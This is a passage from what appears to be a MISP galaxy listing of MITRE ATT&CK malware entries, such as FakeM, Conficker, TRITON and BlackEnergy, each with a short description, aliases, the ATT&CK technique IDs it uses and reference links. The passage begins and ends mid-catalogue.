http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
https://attack.mitre.org/software/S0607
https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/
https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html
https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html

FakeM - S0076

[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-malware="FakeM - S0076"*

FakeM - S0076 is also known as:

- FakeM

View relationships graph

FakeM - S0076 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

Table 5329. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/software/S0076

pngdowner - S0067

[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and- execute" utility. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-malware="pngdowner - S0067"*

pngdowner - S0067 is also known as:

- pngdowner

View relationships graph

pngdowner - S0067 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="pngdowner" with estimative-language:likelihood-probability="likely"

Table 5330. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/software/S0067

Conficker - S0608

[Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)

The tag is: *misp-galaxy:mitre-malware="Conficker - S0608"*

Conficker - S0608 is also known as:

- Conficker
- Kido
- Downadup

View relationships graph

Conficker - S0608 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5331. Table References

Links
https://attack.mitre.org/software/S0608
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml
https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm

LitePower - S0680

[LitePower](https://attack.mitre.org/software/S0680) is a downloader and second stage malware that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)

The tag is: *misp-galaxy:mitre-malware="LitePower - S0680"*

LitePower - S0680 is also known as:

- LitePower

View relationships graph

LitePower - S0680 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5332. Table References

Links
https://attack.mitre.org/software/S0680
https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044

ZLib - S0086

[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)

The tag is: *misp-galaxy:mitre-malware="ZLib - S0086"*

ZLib - S0086 is also known as:

- ZLib

View relationships graph

ZLib - S0086 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5333. Table References

Links
https://attack.mitre.org/software/S0086
https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf

httpclient - S0068

[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-malware="httpclient - S0068"*

httpclient - S0068 is also known as:

- httpclient

View relationships graph

httpclient - S0068 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5334. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

https://attack.mitre.org/software/S0068

BLACKCOFFEE - S0069

[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-malware="BLACKCOFFEE - S0069"*

BLACKCOFFEE - S0069 is also known as:

- BLACKCOFFEE

View relationships graph

BLACKCOFFEE - S0069 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5335. Table References

Links
https://attack.mitre.org/software/S0069
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www2.fireeye.com/rs/fireeye/images/APT17_Report.pdf

TRITON - S0609

This entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS.

[TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: FireEye TEMP.Veles 2018)

The tag is: *misp-galaxy:mitre-malware="TRITON - S0609"*

TRITON - S0609 is also known as:

- TRITON
- HatMan
- TRISIS

View relationships graph

TRITON - S0609 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 5336. Table References

Links
https://attack.mitre.org/software/S0609
https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf
https://www.dragos.com/wp-content/uploads/TRISIS-01.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-TRITON-and-tristation.html
https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html [https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html]

CallMe - S0077

[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-malware="CallMe - S0077"*

CallMe - S0077 is also known as:

- CallMe

View relationships graph

CallMe - S0077 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5337. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/software/S0077

Psylo - S0078

[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-malware="Psylo - S0078"*

Psylo - S0078 is also known as:

- Psylo

View relationships graph

Psylo - S0078 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5338. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/software/S0078

MobileOrder - S0079

[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-malware="MobileOrder - S0079"*

View relationships graph

MobileOrder - S0079 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5339. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/software/S0079

Kasidet - S0088

[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)

The tag is: *misp-galaxy:mitre-malware="Kasidet - S0088"*

Kasidet - S0088 is also known as:

- Kasidet

View relationships graph

Kasidet - S0088 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5340. Table References

Links
http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html
https://attack.mitre.org/software/S0088

BlackEnergy - S0089

[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)

The tag is: *misp-galaxy:mitre-malware="BlackEnergy - S0089"*

BlackEnergy - S0089 is also known as:

- BlackEnergy
- Black Energy

View relationships graph

BlackEnergy - S0089 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="BlackEnergy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5341. Table References

Links
https://attack.mitre.org/software/S0089
https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf

H1N1 - S0132

[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)

The tag is: *misp-galaxy:mitre-malware="H1N1 - S0132"*

H1N1 - S0132 is also known as:

- H1N1

View relationships graph

H1N1 - S0132 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5342. Table References

Links
http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities
https://attack.mitre.org/software/S0132

ROCKBOOT - S0112

[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)

The tag is: *misp-galaxy:mitre-malware="ROCKBOOT - S0112"*

ROCKBOOT - S0112 is also known as:

- ROCKBOOT

View relationships graph

ROCKBOOT - S0112 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"

Table 5343. Table References

Links
https://attack.mitre.org/software/S0112
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html

Linfo - S0211

[Linfo](https://attack.mitre.org/software/S0211) is a rootkit trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Linfo May 2012)

The tag is: *misp-galaxy:mitre-malware="Linfo - S0211"*

Linfo - S0211 is also known as:

- Linfo

View relationships graph

Linfo - S0211 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5344. Table References

Links
https://attack.mitre.org/software/S0211
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99

PS1 - S0613

[PS1](https://attack.mitre.org/software/S0613) is a loader that was used to deploy 64-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)

The tag is: *misp-galaxy:mitre-malware="PS1 - S0613"*

PS1 - S0613 is also known as:

- PS1
- PS1

View relationships graph

PS1 - S0613 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5345. Table References

Links
https://attack.mitre.org/software/S0613
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced

TINYTYPHON - S0131

[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)

The tag is: *misp-galaxy:mitre-malware="TINYTYPHON - S0131"*

View relationships graph

TINYTYPHON - S0131 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 5346. Table References

Links
https://attack.mitre.org/software/S0131
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

Prikormka - S0113

[Prikormka](https://attack.mitre.org/software/S0113) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)

The tag is: *misp-galaxy:mitre-malware="Prikormka - S0113"*

Prikormka - S0113 is also known as:

- Prikormka

View relationships graph

Prikormka - S0113 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
